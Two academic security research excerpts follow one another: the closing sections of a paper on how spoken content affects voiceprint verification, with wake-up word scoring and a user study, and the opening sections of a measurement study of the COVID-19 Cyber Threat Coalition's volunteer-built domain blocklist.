4.86 5.09 9.74

[dædt@giDEm]

dad together
5.84 6.35 9.21

[itzAgbæTg@]

it third best
5.80 6.43 8.99

[t@h@Uzi@Ut]

ter house out
4.98 5.16 9.70

[dibutgEh@N]

double hang
5.83 6.31 9.22

[@glizÃuti]

a glass duty
5.77 6.43 9.11

[h@Nidætn@u]

her that now
5.67 6.08 9.65

[mæthUdD@gi]

master key
5.83 6.30 9.25

[lEgæbgiÃ@]

Le ga bridge
5.77 6.42 9.00

[j@UhædnitO]

your had little
5.62 6.08 9.65

[b@dAgtiD@m]

product them
5.82 6.36 9.05

[gitiz@bkwE]

git the booker
5.77 6.42 9.06

[n@izh@Ulæt]

nice outlet
5.63 6.09 9.64

1 The abbreviations are the same as in Tab. 2.

most of the suffix words only include around 8 phones, which

is far from the distinctiveness threshold, the increase by inter-

jections can help the phonetic factors of the combined word

approach the threshold.

Observation 3: The improvement of voiceprint distinctive-

ness depends on both the prefix words as well as the suffix

words and prefix words should have as little overlap as pos-

sible with the suffix one.

Analysis. The tone words that have little overlap with the

suffix word can maximize the phone types, richness or length.

For example, ‘OK Google’ is better than ‘Go Google’ because

‘OK’ ([oUkeI]) brings more benefits than ‘Go’ ([goU]) does

as it overlaps with ‘Google’ ([gug@l]) by the phone of [g].

We selected 10 words with high scores from 2,000 En-

glish common words dictionary [38] as the recommended

recognition words to manufacturers. Words and scores for 3

models are shown in Tab. 4, and the scores are for reference

only because problems such as inaccurate pronunciation and

awkward-sounding may degrade distinctiveness. Moreover,

we listed some phone sequences that we created based on the

formation rules of English words and gave words with simi-

lar pronunciation, as a reference for manufacturers to create

wake-up words.

5.3 User Study of PROLE Score
To validate the effectiveness of PROLE Score in practice,

we conduct a user study.

Setup. We recruited 46 volunteers aged between 19 and 50

years old from our campus, including both native and non-

native speakers, with 23 females and 23 males §. During the

user study, the volunteers are required to read five randomly

§We followed the local regulations to protect the rights of human partici-

pants despite the absence of Institutional Review Board (IRB).

selected sentences from the VCTK as the enrolling set, and the

30 wake-up words three times from Tab. 2 as test set in a quiet

room. We recorded their speeches with microphones from

4 phones to prevent bias resulting from recording devices.

i-vector and U-LEVEL are used as the verification models.

For comparison, we also used a commercial voiceprint API,

i.e., iFlytek [39]. The sum of FRR and FAR, i.e., CFRR for

each wake-up word were averaged among repetition times

and speakers. For a better illustration, we show the value of

reversed score as 10-PROLE Score and compare it with the

CFRR under each wake-up word.

How PROLE Score behaves. The results are shown in

Fig. 11. We used the distance correlation method[40] to eval-

uate the correlation coefficient between the CFRR and the

reserved score. The correlation coefficient ranges from 0 to

1, with a larger value more correlated. The correlation coeffi-

cient between the CFRR and the reversed score is 0.781 for

i-vector, 0.748 for U-LEVEL. What is more, we also find that

the correlation coefficients between CFRR under iFlytek and

the reversed value under both i-vector and U-LEVEL are high,

e.g., > 0.78.

In summary, CFRR and PROLE Score show a strong cor-

relation, indicating that our PROLE Score indeed can reveal

the security level of a chosen word/phrase.

English vs. Chinese. Besides, We try to understand whether

PROLE Score from the test in English can evaluate the dis-

tinctiveness of speech content in other languages, so we eval-

uate Chinese wake-up words. The user study indicates that

the CFRR of Chinese wake-up words has relevance with

PROLE Score derived from English test samples. Through

the statistical analysis, we find that the distance correlation

between Chinese speech content and PROLE Score is 0.752

averaged in models, while between English speech content

and PROLE Score is 0.783. From the results we can find that
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(a) Test Results and Scores (i-vector)

(b) Test Results and Scores (U-LEVEL)

(c) Test Results (iFlytek) and Scores

Figure 11: CFRR values vs. reversed score (i.e., 10-PROLE Score) for the 30 wake-up words in the user study for three models.

CFRR of user study results highly correlate with the PROLE Score, indicating PROLE Score is a effective scoring system

representing the security level of a given wake-up word.

the phonetic factors do have a similar influence on both Chi-

nese and English. Theoretically, the types of single phones of

Chinese and English are 29 and 40 respectively, among which

22 are the same. Most of the Chinese phones can be evaluated

by PROLE Score derived from English.

Text-dependent vs. Text-independent. To improve the

comprehensiveness, we repeat the user study by using the

same wake-up words as enrolling and test utterances (i.e.,

Method 1), compared with the results from random enrolling

sentences and wake-up words as test samples (i.e., Method

2), and present the results of iFlytek in Fig. 12 while other

models in Appendix. A. We can find that the CFRR in Method

1 is obviously lower than in Method 2, while the difference of

distinctiveness between wake-up words is similar for the two

methods. The distance correlation between CFRRs for both

Methods are 0.750 (i-vector), 0.729 (U-LEVEL) and 0.826

(iFlytek). The decrease of false recognition rate is because

text-independent models perform better when the enrollment

and test phrases are the same.

6 Suggestions

We propose suggestions on how to improve the security of

voiceprint from both manufacturer and user sides.

Wake-up Words and Commands For manufacturers, we

suggest they can repeat the tests in our paper for their mod-

els, calculate the PROLE Score for all the candidate wake-up

words and avoid choosing low-PROLE Score ones. Similar

to wake-up words, when specifying commands with high

relevance to the user’s personal and property safety, manufac-

turers should select phrases that achieve the distinctiveness

threshold in length and richness, and include elements with

high distinctiveness. If users can set their own wake-up words

or voice commands, we suggest that manufacturers can de-

velop an evaluation system which returns the PROLE Score
for the user-selected speech contents to help users choose

high-PROLE Score ones.

Models. From the model perspective, voiceprint distinctive-

ness can be improved in a targeted way. If the wake-up words

or commands must be simple for usability reasons, the model

threshold on specific speech contents can be modified to

ensure higher and more balanced performance for wake-up

words or commands with insufficient information.

Users. The distinctiveness of voiceprint needs improvement

at present. Users should be careful in employing voiceprint

recognition or verification in sensitive applications or sce-

narios, e.g., electric payment, if only short and monotonous

verification utterances are supported.

7 Discussions
Accuracy of Test Dataset Construction. We consider most

of the error in test dataset construction derives from calcu-

lating timestamps and durations of phone audios by MFA

tool. We took 100 samples randomly from phone audios and

recruited 5 people to evaluate whether the timestamps of

phones are accurate. By statistical analysis, the accuracy of

MFA aligner is 92.4%. We believe the error of MFA may lead

to more severe errors on elements while having a slight effect

on length and richness. Because the error of segmentation is
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Figure 12: False recognition rates of wake-up words for Method 1 and Method 2 in iFlytek. In Method 1 the enrollment utterances

are different from the test, while in Method 2 are the same. There is similar regularity in distinctiveness gap between wake-up

words when using Method 1 and Method 2.

averaged over a large amount of data, so that the length and

richness of phone sequences approach the desired values. But

the phone audios may be mixed with other phones so that it

may lead to a smaller score difference among elements. We

compensated for the reductive differences among elements

by increasing the weight of element metric in PROLE Score.

Impact of Pronunciation. In practice, words with higher

distinctiveness scores may not necessarily show lower false

recognition rates if they are difficult in pronunciation. For

instance, “particularly appreciate” has a higher distinctive-

ness score but “particularly” shows a lower false recognition

rate. We assume it is because phrases composed of long and

complex words are difficult to pronounce especially for those

non-native speakers, resulting in inaccurate and slur pronun-

ciation and thus the distinctiveness decrease.

Transferability across Models. We tested several typical

and popular voiceprint verification models in this paper for

the sake of exploring common insights and observation across

models. We note that it requires further study on more mod-

els and larger datasets to obtain more accurate and general

conclusions. We remain it as one direction of the further work.

8 Related Work

Voiceprint Security Affecting Factors. Several researches

have studied the influencing factors of voiceprint security,

most of which focus on the model optimization, the subjec-

tive factors related to speakers and speech content. In terms

of models, existing work [41] mainly focuses on improving

the model structure and features, defending spoofing and imi-

tation attacks, and reducing the effects of short speeches and

noises to improve the performance of the voiceprint model,

while this work [42] studies the impact of the training dataset

size on the model performance. In terms of speakers, some

studies focus on the impact of the recording environmental

noise [43] and health state [44]. In terms of speech contents,

existing studies focus on the model optimization against the

negative effects of short speech contents [45], the difference

of users’ preference and performance between numbers and

complete sentences [46], and the information of voiceprint

in the feature space for speeches of different lengths [47].

These studies are most related to our work but we analyze

from an aspect of phonetic factors, which can model any con-

tents and explore the impact of speech contents on voiceprint

distinctiveness in a finer-granularity manner.

Impact of Phone in Speech Content. For the impact of

phonemes or phones on speaker recognition, existing studies

mainly focus on the performance comparison [48] and model

fusion [12–14] of individual phoneme-trained ASV models.

Specifically, Alsulaiman et al. [48] investigated the effect of

phonemes in Arabic on the performance of ASV systems.

Fatima et al. [12] defined the vowel category formed by the

combination of English and Chinese, and used them to train a

universal background phoneme model based on the conven-

tional GMM-UBM system. Fatima et al. [13] discussed the

importance of phones for speaker recognition and showed that

vowels represent a large amount of speaker-specific informa-

tion. Zhang et al. [14] proposed individual phoneme-trained

ASV models to solve the problem of poor performance in

short speech testing. Different from these studies, our work

focuses on the speech contents with phonetic factors, and

analyzes the impact of speech contents by adjusting phones.

9 Conclusion

In this paper, we investigate the impact of speech contents

on the distinctiveness of voiceprint with 2457 speakers and

14,600,000 test samples. We experimentally obtain the cor-

relation between the false recognition rates and the richness,

the length, the order, and the elements of phones. We define

PROLE Score that can be calculated based on speech content

yet can reflect the voice distinctiveness. Under the guidance of

PROLE Score, we test 30 wake-up words of 19 commercial

voice assistants and provide recommendations for both users

and manufacturers on selecting secure wake-up words.
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Appendix

A Supplementary Experiment Results
It is the figure of results in Sec. 4.2. The results in i-vector

and x-vector of 4.2.1, 4.2.2, 4.2.4, 4.2.5, 4.2.6, 4.2.7 are

shown in Fig. 19, Fig. 20, Fig. 15, Fig. 13, Fig. 14, Fig. 16,

separately. The results in x-vector and U-LEVEL of 4.3 isc

shown in Fig. 17. The results in i-vector and U-LEVEL of

5.3 is shown in Fig. 18.

(a) FRR (i-vector) (b) FRR (v-vector)

(c) FAR (i-vector) (d) FAR (v-vector)

Figure 13: False recognition rate vs. Synergies of Richness

and Length �. (a), (b) show the FRR in i-vector and x-vector.

(c), (d) show the FAR of distinguishability.

(a) FRR of Consistency (i-vector)

(b) FAR of Distinguishability (i-vector)

(c) FRR of Consistency (v-vector)

(d) FAR of Distinguishability (v-vector)

Figure 14: False recognition rate vs. Synergies of Length and

Element �. (a), (c) show the FRR in i-vector and x-vector.

(b), (d) show the FAR.
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(a) False Recognition Rate (i-vector) (b) False Recognition Rate (v-vector)

Figure 15: False recognition rate vs. Order �.

(a) False Recognition Rate (i-vector) (b) False Recognition Rate (v-vector)

Figure 16: False recognition rate vs. Synergies of Richness and Element �.c

(a) FRR of Consistency (v-vector,

random phones)

(b) FRR of Consistency (v-vector,

actual words)

(c) FAR of Distinguishability (v-

vector, random phones)

(d) FAR of Distinguishability (v-

vector, actual words)

(e) FRR of Consistency (U-LEVEL,

random phones)

(f) FRR of Consistency (U-LEVEL,

actual words)

(g) FAR of Distinguishability (U-

LEVEL, random phones)

(h) FAR of Distinguishability (U-

LEVEL, actual words)

Figure 17: False recognition rate vs. Synergies of Richness and Length �. (a), (e) show the FRR of consistency from test cases

composed of random combinations of phones in x-vector and U-LEVEL. (b), (f) show the FRR of consistency from test cases

composed of actual words in x-vector and U-LEVEL. (c), (g) show the FAR from test cases composed of random combinations

of phones in x-vector and U-LEVEL. (d), (h) show the FAR from test cases composed of actual words in x-vector and U-LEVEL.

(a) Test Results for Method 1 and Method 2 (i-vector)

(b) Test Results for Method 1 and Method 2 (U-LEVEL)

Figure 18: False recognition rates and reversed score (i.e., 10-PROLE Score) from the 30 wake-up words for Method 1 and

Method 2.
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(a) FRR of Consistency (i-vector)

(b) FAR of Distinguishability (i-vector)

(c) FRR of Consistency (v-vector)

(d) FAR of Distinguishability (v-vector)

Figure 19: False recognition rate vs. Richness �. (a), (c) show

the FRR of consistency in i-vector and x-vector. (b), (d) show

the FAR of distinguishability in the two models.

(a) FRR of Consistency (i-vector)

(b) FAR of Distinguishability (i-vector)

(c) FRR of Consistency (v-vector)

(d) FAR of Distinguishability (v-vector)

Figure 20: False recognition rate vs. Length �. (a) show the

FRR of consistency in i-vector and x-vector. (b), (d) show the

FAR of distinguishability.
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Abstract

We tracked the largest volunteer security information shar-

ing community known to date: the COVID-19 Cyber Threat

Coalition, with over 4,000 members. This enabled us to ad-

dress long-standing questions on threat information sharing.

First, does collaboration at scale lead to better coverage? And

second, does making threat data freely available improve the

ability of defenders to act? We found that the CTC mostly

aggregated existing industry sources of threat information.

User-submitted domains often did not make it to the CTC’s

blocklist as a result of the high threshold posed by its au-

tomated quality assurance using VirusTotal. Although this

ensured a low false positive rate, it also caused the focus of

the blocklist to drift away from domains related to COVID-19

(1.4%-3.6%) to more generic abuse, such as phishing, for

which established mitigation mechanisms already exist. How-

ever, in the slice of data that was related to COVID-19, we

found promising evidence of the added value of a community

like the CTC: just 25.1% of these domains were known to

existing abuse detection infrastructures at time of listing, as

compared to 58.4% of domains on the overall blocklist. From

the unique experiment that the CTC represented, we draw

three lessons for future threat data sharing initiatives.

1 INTRODUCTION

For years now, research has consistently found that threat data

feeds each cover just a fraction of the landscape. Numerous

comparisons have been made among different threat intelli-

gence sources and they all find very little overlap: feeds are

dominated by data points that appear only in a single source

and in no other one. This holds across the spectrum of threat

data, from freely available blocklists and abuse feeds [1, 2]

to closed industry sources [3], all the way up to the most

expensive feeds at the high end of the market [4]. It points

to poor coverage of the threat landscape, a problem for the

industry and – more importantly – for its customers. To il-

lustrate: anti-phishing companies missed a large portion of

the phishing sites targeting their customers, while those sites

were being discovered by their competitors [5].

While prior work on threat intelligence sources demon-

strated the problem of low coverage, it does not discuss how

it could be overcome. One obvious and often proposed so-

lution is more data sharing. This typically takes place in

informal trusted communities of specialists or in formalized

sharing agreements among firms, such as the Cyber Threat

Alliance [6] and the Anti-Phishing Working Group [7], which

often demand reciprocity, or ‘quid pro quo’, in order to avoid

free-riding behavior. This forms a high entry barrier for access

to the shared data, as not everyone has enough to contribute

in order to gain access, and so benefits are typically limited

to corporate entities. Non-participants can only get access to

the separate services of these firms. In economic terms, such

sharing arrangements create club goods, not public goods.

A potentially more effective form of information sharing

would go beyond these boundaries: open to any contribu-

tor, with free access for anyone to the pooled data. Under

normal conditions, market incentives would prevent such a

public good from emerging. Generating quality threat in-

formation costs money and firms have to recoup their in-

vestments. However, the 2020 global pandemic gave rise

to a real-world experiment that temporarily suspended nor-

mal economics in data sharing: the COVID-19 Cyber Threat

Coalition (CTC) [8]. The CTC was a volunteer-based re-

sponse where firms and individuals shared threat intelligence

on pandemic-related threats posed by cybercriminals as well

as nation states [9]. The coalition’s mission was “to operate

the largest professional-quality threat lab in the history of

cybersecurity” and reduce gaps in availability and coverage

of existing defense mechanisms [8, 10]. After 3 months, over

4,000 individuals and organizations had signed up, with com-

panies like Symantec, Microsoft and Cofense contributing

data [11, 12]. Contrary to sharing based on quid pro quo, the

resulting blocklist was freely available to anyone.

Does such large-scale open data sharing actually improve

our defenses against threats? To the best of our knowledge, re-

search on the effectiveness of large data-sharing arrangements
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is extremely sparse. More than a decade ago, Moore and Clay-

ton studied the inner workings of crowdsourcing at PhishTank,

but not its impact on mitigation [13]. Thomas et al. found that

a Google-based threat exchange could have more impact than

existing standalone anti-abuse pipelines [14] but access to the

pooled data in the exchange was restricted. A recent study on

VirusTotal did not analyse the information-sharing aspects of

the service nor its impact, but evaluated the aggregation of

detection results of the participating vendors [15].

In this paper, we set out to extend the literature on data-

sharing arrangements by learning from the CTC experiment.

We investigate two questions: (i) By pooling data from its

community, did the CTC improve coverage of COVID-19-

related threats over existing defenses? And (ii) Did publishing

threat data in a freely available blocklist improve the ability

of defenders to act against threats, compared to the existing

abuse mitigation infrastructure? To answer these questions,

we first describe the organizational setup of the CTC and ob-

serve how the community pooled data and conducted quality

assurance. We then evaluate the blocklist through manual clas-

sification of a sample and by identifying false negatives for

COVID-19-related domains. Next, we conduct longitudinal

measurements to infer who acted when against domains on the

CTC blocklist: registry, registrar, browser vendor, or security

provider? We end by identifying key lessons for improving

the impact of open large-scale data sharing mechanisms.

In sum, our contributions are:

• We present the first empirical evaluation of a large and open

threat sharing community, the COVID-19 Cyber Threat

Coalition, and describe its mechanisms for producing and

vetting threat intelligence.

• We find that user contributions were heavily skewed, with

just 10 users making 90% of contributions. Further, the

high threshold posed by the indicator vetting process, which

relied on VirusTotal, resulted in a mere 5.14% of user-

contributed indicators actually being propagated to the

blocklist. Instead, most data came from commercial firms,

and at least part of this was vetted against a lower threshold.

• We show that the CTC list went well beyond the scope of

just COVID-19-related threats. Generic phishing made up a

large portion of the blocklist: domains containing the word

whatsapp (2.8%) outnumbered those containing keywords

related to COVID-19 (2.6%).

• Based on longitudinal measurements, we demonstrate that

for 58.4% of the domains on the CTC blocklist, existing

abuse-mitigation mechanisms were faster: domain-level or

client-side interventions had already taken place before the

domains appeared on the blocklist. For COVID-19-related

domains, this share is smaller: 25.1%, which is evidence

of added value of the community. The remaining portion

was intervened against later or not at all. This means that

the blocklist improved the ability of defenders to protect

themselves. Its impact could have been larger, if it had not

depended as much on VirusTotal for vetting indicators.

2 THE CTC COMMUNITY

The CTC started as a Slack community on March 19 – a week

after the WHO declared COVID-19 a pandemic. Joshua Saxe,

a security specialist at Sophos, founded the community out

of a “personal sense of alarm”, conceiving it as a “crisis com-

mons model” where “traditional competition and grievance

[were] set aside in a moment of exceptional need” [16]. The

CTC founders articulated objectives for the community and

then set up community support services for volunteers to join

and participate. We also joined and revealed ourselves as

researchers interested in learning more about how the com-

munity was functioning. The CTC’s mission was threefold:

fostering collaboration across organizations to uncover other-

wise missed threats, producing professional-grade output that

the community can rely on, and prioritizing the public good

over the interests of individual actors [8].

2.1 Information products

The CTC set out to publish an open high-quality blocklist

containing COVID-19-themed abuse to “supplement the ex-

isting defensive structure” by setting up a “separate threat

intelligence platform dedicated just to pandemic-related cy-

ber activity” [10, 17]. Blocklist data was published on the

CTC’s website from March 29, 2020 onwards [18]. In May,

it reported that over 60,000 distinct IP addresses had been

consuming the blocklist [19]. Initially, they offered two types

of lists: one with vetted indicators of compromise (IOCs) and

a larger list with unvetted IOCs submitted by the community.

The latter was eventually discontinued to “produce the highest

quality feeds with the least amount of false positives possi-

ble” [20]. Within the vetted category, four blocklist files were

available: for domains, URLs, IP addresses and file hashes.

The latter two, however, have remained empty at all times.

Our analysis focuses on what is arguably the main list, i.e.,

the domain list.

The technical indicators were supplemented by threat ad-

visories and community meetings. The advisories featured

themes like phishing and ransomware related to COVID-19,

trends in pandemic-related domain registrations, and the se-

curity challenges of remote work. They were published on

the CTC website1 and sent out via a mailing list every week

from April 6 until May 26. From April 16 onward, commu-

nity leaders also organized online community meetings or

‘town halls’ hosted on Zoom and archived on YouTube [21].

These webinars were intended to disseminate findings from

the reports, to update the community on changes to the CTC

procedures and infrastructure, to interview representatives

of security companies, and to allow for Q&A with the com-

munity leaders. For the first two months, town halls were

organized weekly; after June 11, the CTC planned to organize

them every two weeks, but no town halls took place since.

1https://www.cyberthreatcoalition.org/advisories
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Figure 1: Member activity on the CTC Slack workspace

peaked 1.5 weeks after the community was founded [19].

2.2 Community structure

The primary means of collaboration in the Cyber Threat Coali-

tion was a Slack workspace. The aim of this Slack workspace,

which anybody could join, was for members of the secu-

rity community to share information and make the necessary

contacts for interventions [22]. After a brief period of un-

structured posts, the workspace was organized into themed

channels for posting community updates, IOCs per topic (e.g.,

web, email, malware), and region-based networking. Mem-

bership grew to 1,500 in one week [23] and to over 4,000

after 3 months [24]. Members were requested to add their

affiliation and job title to their screen name, although this

information was not validated. Of the users who indicated

a country in their username, around half came from North

America, around a third from Europe (mainly the United

Kingdom and the Netherlands), 3% from Australia, with the

rest scattered around the world. Based on stated affiliations,

the CTC counted representatives of security vendors, health-

care providers, CERTs, financial institutions, domain name

infrastructure providers, major technology firms and law en-

forcement agencies among its members. Activity peaked at

the end of March and then slowly decreased (Figure 1). By

July, the public channels saw much less activity, with daily

posts in the single digits, and no official announcements were

made except for a single update in February 2021 stating that

the CTC was in “low battery mode” but “evolving”.

The community had a simple organizational structure [19]:

a ‘steering committee’ functioned as administrators for the

community, with its members committed to “sacrificial” time

contributions [22], leading teams for various tasks like vetting

process development, advisory writing, and media outreach.

Within the larger community, over 100 ‘vetted volunteers’

[25] underwent identity verification via their social media

profiles to obtain access to private channels, where more

sensitive data could be shared [22].
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Figure 2: Counts of unique domains newly seen in the CTC

AlienVault OTX group and on the CTC blocklist (logarithmic

scale), and the proportion of AlienVault OTX domains that

were propagated to the CTC blocklist.

3 PRODUCTION OF THE BLOCKLIST

In this section, we describe how the CTC’s prime information

product was sourced and vetted. Four sources fed the CTC

blocklist: (i) user contributions on Alienvault OTX; (ii) user

contributions via a Slackbot; and industry lists from both (iii)

named and (iv) unnamed vendors.

Initially, TI sharing was ad hoc, consisting of community

members posting free-form IOCs, first in the general Slack

channel and soon after in field-specific channels (e.g., for

email and domains). After one week, the CTC set up groups

for machine-readable TI sharing on AlienVault OTX [23].

Users could submit IOCs to the CTC Slack workspace. After

they had been checked for maliciousness , indicators were

published on the ‘vetted’ list [22]. In June, the CTC intro-

duced a Slackbot that let users contribute indicators as well

as vet indicators supplied by other users [11]. We describe

these two vetting mechanisms in subsection 3.2. Further, com-

mercial security providers contributed “hundreds of millions

of indicators per day” [22] outside of the AlienVault group,

although these were also subject to the same vetting proce-

dure. These indicators appear to represent the vast majority

of domains on the final vetted blocklist, as demonstrated in

Figure 2. Known industry contributors to the CTC are Syman-

tec [12], Microsoft and Cofense [11], but other vendors have

asked to remain anonymous [22].

3.1 User contributions on AlienVault OTX

We analyze the indicators contributed to the CTC group on

AlienVault OTX, using the API to gather all submissions over

time. By July 2020, 738 users had been accepted into the

CTC’s closed AlienVault OTX group. Only 47 users actually

contributed IOCs – 10 of whom made 90% of all contribu-

tions (Figure 3). The two heaviest contributors did so on a

fixed schedule, and described drawing on newly registered

domains and certificate transparency for their lists. Others

added more opportunistically, with a downward trend over

time. In general, recipients were often left guessing as the

source or method behind the contributed indicators.
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Figure 3: Daily count of unique domain indicators contributed

to the CTC AlienVault OTX group, with the top 10 and other

contributors ranked on the total number of contributions over

time.

In other words, even though the community has over 4000

members, only 1–2% of them contributed indicators, with 10

users contributing the bulk. This skewed distribution resem-

bles the pattern found in the PhishTank community project,

where volunteers collect and classify phishing sites [13]:

there, the top 10 contributors made 69.9% of submissions

and 57.4% of votes [26]. It also resembles free and open

source software (FOSS) development, where a tiny fraction

of contributors supplies most code and most others only con-

tribute once, typically in the form of a bug report [27]. As we

discuss in the next section, most user contributions to the CTC

never made it past the vetting stage (see also subsection 3.2).

At the outset, a large proportion of AlienVault submissions

made it to the CTC blocklist, but after the list was reset on

April 12 (subsection 4.2), domains added to the CTC block-

list came mostly from named and unnamed industry sources.

Over the entire period of our data collection, just 1.23% of

domains on the blocklist came from user contributions on

OTX.

3.2 Quality assurance

The community admins instituted vetting mechanisms for sub-

mitted indicators, in order to “provide reasonable assurance

that what we re-share with the public are examples of truly

malicious artifacts” [16]. Initially, vetting consisted of a pool

of volunteers manually verifying maliciousness of submitted

indicators. The workflow was eventually automated using a

security orchestration service that integrated VirusTotal: if a

domain received 10 or more hits, this would lead to a domain

being marked as malicious and propagated to the blocklist.

A domain with between 4 and 10 hits would require manual

review, while for fewer than 4 hits, it would be marked as

“clean” [11] and dropped.

Although automation allowed for higher volumes of in-

dicators to be processed, this workflow left the community

with three problems. First, only indicators that were already

known to be malicious by many VirusTotal scanners could be

added to the blocklist. Earlier research has consistently found

very low overlap among TI sources [1, 4], so requiring that

indicators are found by 10 scanners imposes a high threshold

to propagation. It meant that just 5.14% of domains from the

AlienVault OTX group made it onto the blocklist. Moreover,

VirusTotal aggregates labels from 84 established automated

scanners, negating the community contribution aspect of the

CTC. The second problem: some of the contributed industry

sources, in particular Cofense [11], were seen as reliable, yet

their indicators did not appear on the vetted blocklist as too

few VirusTotal scanners flagged them. As a solution, the CTC

admins lowered the thresholds for these trusted sources [11].

The third problem was how to evaluate the indicators that

fell in-between the thresholds for ‘clean’ or ‘malicious’. At

first, this was done manually by a small pool of volunteers. It

is unlikely that they could keep up with the overall volume,

so probably these indicators did not make it onto the vetted

list. On June 11, the CTC admins announced a new Slackbot

that would allow all members to contribute to vetting [11].

Upon request, the bot would serve a domain or URL to an

individual user for evaluation. It resembled crowdsourcing

mechanisms like PhishTank, albeit without the built-in val-

idation of multiple users checking the same indicator. The

bot potentially increased the scalability of manual vetting and

would allow indicators to be included long before VirusTotal

would provide enough ‘hits’. The downside was that vet-

ting might be done by members with unverified expertise or

even potentially adversarial motives. Unfortunately, when the

crowdsourcing functionality arrived by June, the peak of user

activity had already passed, so it came too late to actually

change the vetting process. Despite this process, some false

positives slipped through, leading domain owners to join the

CTC Slack workspace and request removal from the blocklist.

4 EVALUATION OF THE BLOCKLIST

In this section we address our first research question: By

pooling data from its community, did coverage of COVID-

19-related threats improve over existing defenses? First, we

manually label a sample of domains to evaluate the nature of

new IOCs appearing on the CTC blocklist. Second, we track

the evolution of the blocklist composition, and measure its

focus on COVID-19-related abuse. Third, we measure the role

and impact of VirusTotal on the vetting process. Fourth, we

estimate the coverage of COVID-19-related domains through

a comparison with external sources.

4.1 Manual classification of domains

Our first assessment of the blocklist content is to manually

inspect a sample of domains. Over the course of 5 days (17-22

May 2020), we took a daily sample of 50 domains that were

newly added to the CTC blocklist. We visited those within 4

hours of their appearance on the list, in order to minimize the
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Figure 4: Manual classification of 500 domains, visited at

two moments in time.

chance that the domain would already be affected by a coun-

termeasure. We navigated to the site with Microsoft Internet

Explorer 11 in a virtual machine on a computer located in the

Netherlands. If necessary, we translated page contents using

Google Translate. After one week, we visited each site again

to see if anything had changed. As a reference, we carried

out this process not only for the CTC blocklist but also for a

COVID-19 blocklist published by DomainTools [28].

We based our label taxonomy on existing classifications

[29, 30]. In many cases, the labeling could be applied in a

straightforward manner, such as with parked domains. Some

categories contain more ambiguity. When we were uncertain

about what the appropriate label was, we took a conservative

approach and counted them as true positives, giving the block-

list publishers the benefit of the doubt. As shown in Figure 4,

out of 250 domains visited from the CTC list, we encountered

just 5 cases of COVID-19 related abuse (2%), including phish-

ing sites themed with the pandemic and sites selling dubious

protective materials. The CTC list also included 21 examples

(8%) of internet abuse that was not visibly tied to COVID-19,

such as generic phishing sites, counterfeit products and phar-

maceuticals – although it is conceivable that these domains

were in fact used in a campaign that somehow played upon

COVID-19, for example in a spam run. We deemed 3 web-

sites as legitimate – and therefore false positives on the list

(1%). The majority of domains were unavailable (71%).

The DomainTools list contained more examples of actual

COVID-19 related abuse (6%), but at the cost of more false

positives (13%), many of which had in common that they

contained keywords related to the pandemic, such as a Wuhan-

based welding hardware supplier.

When revisiting the domains after one week, we saw minor

changes (4% overall), most of which were previously unavail-

able domains becoming reachable as parking pages. We saw

seven examples (1.5% overall) of generic abuse not related to

COVID-19 becoming active in this interval of one week.
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Figure 5: Evolution of the composition of the CTC vetted

domain blocklist.

4.2 Composition of the blocklist

Where subsection 4.1 analyzed a sample, further analysis in

this paper is based on the full CTC blocklist of vetted do-

mains from March 31 up to July 1, 2020, during the peak of

community activity. We retrieved this list once a day starting

March 31, every hour starting April 4, and every five min-

utes from April 15 onward. Over time, the vetted domain

blocklist steadily grew (Figure 5), reaching 46,103 domains

on July 1, 2020. Cumulatively, 46,832 fully qualified do-

main names (FQDNs) on 27,096 unique second-level domain

names (SLDs; i.e., domains that can be bought from a reg-

istrar) appeared on the vetted list by July 1, 2020. Domain

removals were rare, except when the list was reset on April 12

due to the shift towards automated vetting [24] which suggests

that stale entries were not purged from the list, potentially

generating false positives after cleanup or takedown of a ma-

licious domain2. Further, we suspect that back-end changes

caused a temporary eight-day blockage in updates, followed

by the addition of 5,918 domains on June 22, as users reported

download issues around the same time [24]. The list contin-

ued to be updated until December 6, 2020, albeit without

much community input, after which the list remained avail-

able, but no longer changed, indicative of dwindling efforts

in the CTC.

Given the CTC’s objective to track COVID-19-related

abuse, we examine the coverage of the blocklist in this area.

For this purpose, we generated 370 COVID-19-related key-

words in 15 languages (see Appendix A). At its peak, over

5,000 domains containing such keywords were registered

every day [31]. However, over our measurement period,

only 1,229 (2.6%) out of the 46,832 domains seen on the

CTC blocklist contain at least one keyword. The share of

COVID-19-related domains was stable between 1.4% and

3.6% throughout time, except before the list reset on April

12, when up to 73% of the (much shorter) list was COVID-

19-related3.

21,140 domains were removed; of these domains, 38.8% re-emerged at

some later point in time.
3Out of the 1,140 domains removed then, 826 were COVID-19-related,

of which 474 would never return.
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Provider Phishing (%) Malware (%) Other (%) Total flagged

GSB* 27 462 (96.8) 1 017 (3.6) 364 (1.3) 28 383
VirusTotal** 40 132 (85.7) 6 680 (14.3) 20 (0.0) 46 832

* Domains may be assigned to multiple abuse types.
** By majority vote over engines with a specific abuse classification.

Table 1: Abuse types for domains on the CTC list as identified

by Google Safe Browsing (GSB) and VirusTotal.

Overall, generic phishing was much more frequent: 17.3%

of domains matched a brand tracked by PhishTank4: the

keyword whatsapp occurred in 2.8% of domains, making

it more prevalent than all pandemic-related keywords com-

bined. Likewise, Google Safe Browsing and VirusTotal clas-

sify 96.8% and 85.7% of flagged domains respectively as

engaging in phishing (Table 1).

Our findings contrast with the CTC’s stated goal of sharing

“high quality threat intelligence related to the COVID-19 pan-

demic” [32]. The small share of COVID-19-related domains

suggests that the collected TI goes beyond COVID-19-specific

abuse, and instead captures any abuse observed during the

pandemic. This could be the result from automated submis-

sion processes, with generic TI sources being redirected to

the CTC instead of curated and targeted feeds. It also seems

directly related to the decision to move to vetting based on

VirusTotal. Before that shift, the proportion of COVID-19-

related domains was much higher. Afterwards, the list relied

on the ability of existing scanners to detect the abuse and

therefore it converged on conventional forms of abuse, po-

tentially discarding highly relevant IOCs on new threats. We

revisit this issue in subsection 4.4.

4.3 Effect of VirusTotal scanners on vetting

We independently replicated the CTC’s vetting procedure

based on VirusTotal, in order to gain insight into the effects

on the outcomes. We requested VirusTotal data once a day

for all domains that up to that date had appeared on the CTC

blocklist, from April 28 until July 1, 2020.

Any domain with more than 10 detections in VirusTotal

was automatically considered to be vetted as malicious. We

indeed observe that domains meeting that criterion make up

the large majority (88.7–97.2%) of domains throughout our

measurement period (Figure 6). We also see a smaller set

(2.8%–11.3%) of domains with between 4 and 10 detections,

which suggests that they either went through the manual re-

view process or they came from trusted industry feeds that

were vetted against a lower threshold (subsection 3.2). The

share of domains with fewer than 4 detections is negligible,

which indicates that the industry sources contributed only do-

4https://www.phishtank.com/target_search.php; the list was

pruned to reduce the likelihood of false positives, and no lookalike terms

were added.
